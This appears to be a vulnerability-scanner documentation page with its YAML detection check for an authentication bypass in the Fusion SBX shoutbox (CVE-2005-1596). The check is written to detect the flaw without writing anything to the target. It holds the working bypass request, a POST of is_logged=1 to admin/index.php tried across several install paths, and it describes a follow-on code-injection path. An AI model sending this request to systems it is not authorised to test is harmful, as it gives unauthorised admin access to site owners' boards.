Fusion SBX — 1 vulnerability check
noctis ships 1 vulnerability check for Fusion SBX, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Fusion SBX Admin Panel Authentication Bypass
| CVE | CVE-2005-1596 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/fusion-sbx/CVE-2005-1596.yaml |
Fusion SBX 1.2 and earlier imports request variables with extract() in admin/index.php, so a remote attacker who sends is_logged=1 reaches the administration settings without the password (and can then inject PHP code into the saved settings). The test POSTs is_logged=1 to admin/index.php and confirms the settings panel (the data/data.db and data/ipban.db data-file settings) is returned, while the same request without is_logged is refused. No setting is saved.
How noctis detects it
- HTTP(S) request
POST {{sbx_dir}}/admin/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
ctrl_verdictfor^PANEL_OPEN$→ finding QoD 70: Fusion SBX Admin Panel Reachable Without Password - HTTP(S) request
POST {{sbx_dir}}/admin/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
verdictfor^PANEL_UNLOCKED$→ finding QoD 75: POST …/admin/index.php with body is_logged=1 returned HTTP 200 and the Fusion SBX settings panel (data/data.db + data/ipban.db settings), w…
References:
Feed source — tests/vulnerabilities/fusion-sbx/CVE-2005-1596.yaml
# Fusion SBX <= 1.2 — admin panel authentication bypass via is_logged
# (extract() variable overwrite) — CVE-2005-1596
#
# Ported from OpenVAS/Greenbone NVT `pre2008/fusion_sbx_bypass.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.18210, GPL-2.0-only).
#
# Fusion SBX is a PHP shoutbox. Its admin/index.php imports the request
# variables with extract(), so a client-supplied `is_logged=1` overwrites the
# login flag and the settings panel is served without the admin password.
# The same flaw lets the attacker save settings — the maxname2 setting is
# written unescaped into the board's PHP settings file, hence code execution.
#
# Proof (read-only, the NASL request): POST /admin/index.php with the body
# `is_logged=1` and require the settings panel, recognised by the board's two
# data-file settings `data/data.db` AND `data/ipban.db`. The body carries no
# setting and no save action, so nothing is written on the target. The code
# execution half (saving a PHP payload into maxname2) is deliberately NOT
# exercised: it overwrites the board's live configuration, which is not a
# benign proof — the authentication bypass itself is fully demonstrated.
#
# Improvements over the NASL (Flo: do better than OpenVAS when possible):
# - Unauthenticated control: the same POST without `is_logged` must NOT
# return the settings panel. The NASL never checks this, so a board whose
# admin panel is simply open (no password configured) was reported as this
# bypass. That case gets its own lower-QoD finding instead of being
# dropped (same impact: anyone can change the settings).
# - Install paths: the NASL relies on the scanner's CGI-dir discovery; here
# the probe walks the web root and the usual install directories, so a
# board under /sbx/, /fusionsbx/ or /shoutbox/ is still found without a
# crawler.
uid: 092ace7f-af4e-41b1-af49-fc8477a9ffff
name: "Fusion SBX Admin Panel Authentication Bypass (CVE-2005-1596)"
description: |
Fusion SBX 1.2 and earlier imports request variables with extract() in
admin/index.php, so a remote attacker who sends is_logged=1 reaches the
administration settings without the password (and can then inject PHP code
into the saved settings). The test POSTs is_logged=1 to admin/index.php and
confirms the settings panel (the data/data.db and data/ipban.db data-file
settings) is returned, while the same request without is_logged is refused.
No setting is saved.
cves: [CVE-2005-1596]
cvss: 10.0
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [fusion-sbx, shoutbox, php, auth-bypass, extract, register-globals]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1596"
- "https://vuldb.com/vuln/25203"
- "OpenVAS NVT pre2008/fusion_sbx_bypass.nasl (OID 1.3.6.1.4.1.25623.1.0.18210)"
steps:
# One iteration per install directory. Every stored result read later is
# pre-initialised at the top of the iteration: a failed request leaves
# store_as unset, and an undefined variable aborts the whole test.
- id: init-ctrl
action: set_var
var_name: ctrl_resp
var_value: {status: 0, body: ""}
loop:
over: ["", "/sbx", "/fusionsbx", "/fusion", "/shoutbox"]
var: sbx_dir
- id: init-exploit
action: set_var
var_name: exploit_resp
var_value: {status: 0, body: ""}
# ── 1. Control: the admin page without is_logged ────────────────────────
- id: control
action: http_request
method: POST
path: "{{sbx_dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "noctis=1"
store_as: ctrl_resp
- id: control-verdict
action: script
code: |
let b = if type_of(ctrl_resp.body) == "string" { ctrl_resp.body } else { "" };
if ctrl_resp.status == 200 && b.contains("data/data.db") && b.contains("data/ipban.db") {
"PANEL_OPEN"
} else { "" }
store_as: ctrl_verdict
# The settings panel is served WITHOUT is_logged: same impact (anyone can
# change the board's settings) but the bypass itself was not needed.
- id: panel-open
action: match
source: ctrl_verdict
pattern: "^PANEL_OPEN$"
on_match:
finding:
title: "Fusion SBX Admin Panel Reachable Without Password"
confidence_delta: 0.35
qod: 70
evidence: "POST {{sbx_dir}}/admin/index.php WITHOUT is_logged returned HTTP 200 and the Fusion SBX settings panel (data/data.db + data/ipban.db settings) — the admin panel is reachable without a password; the is_logged bypass itself was not needed"
stop: true
# ── 2. Exploit: the same POST with is_logged=1 (NASL body, verbatim) ────
# Runs even when the control failed: the control only decides which
# finding is reported, never hides the exploit.
- id: exploit
action: http_request
method: POST
path: "{{sbx_dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "is_logged=1"
store_as: exploit_resp
- id: verdict
action: script
code: |
let b = if type_of(exploit_resp.body) == "string" { exploit_resp.body } else { "" };
if exploit_resp.status == 200 && b.contains("data/data.db") && b.contains("data/ipban.db") {
"PANEL_UNLOCKED"
} else { "" }
store_as: verdict
# ── 3. Confirm: is_logged=1 — and only it — unlocked the panel ─────────
- id: bypass-confirmed
action: match
source: verdict
pattern: "^PANEL_UNLOCKED$"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "POST {{sbx_dir}}/admin/index.php with body is_logged=1 returned HTTP 200 and the Fusion SBX settings panel (data/data.db + data/ipban.db settings), while the same request without is_logged did not return the panel (control answered HTTP {{ctrl_resp.status}}, 0 = no answer)"
stop: true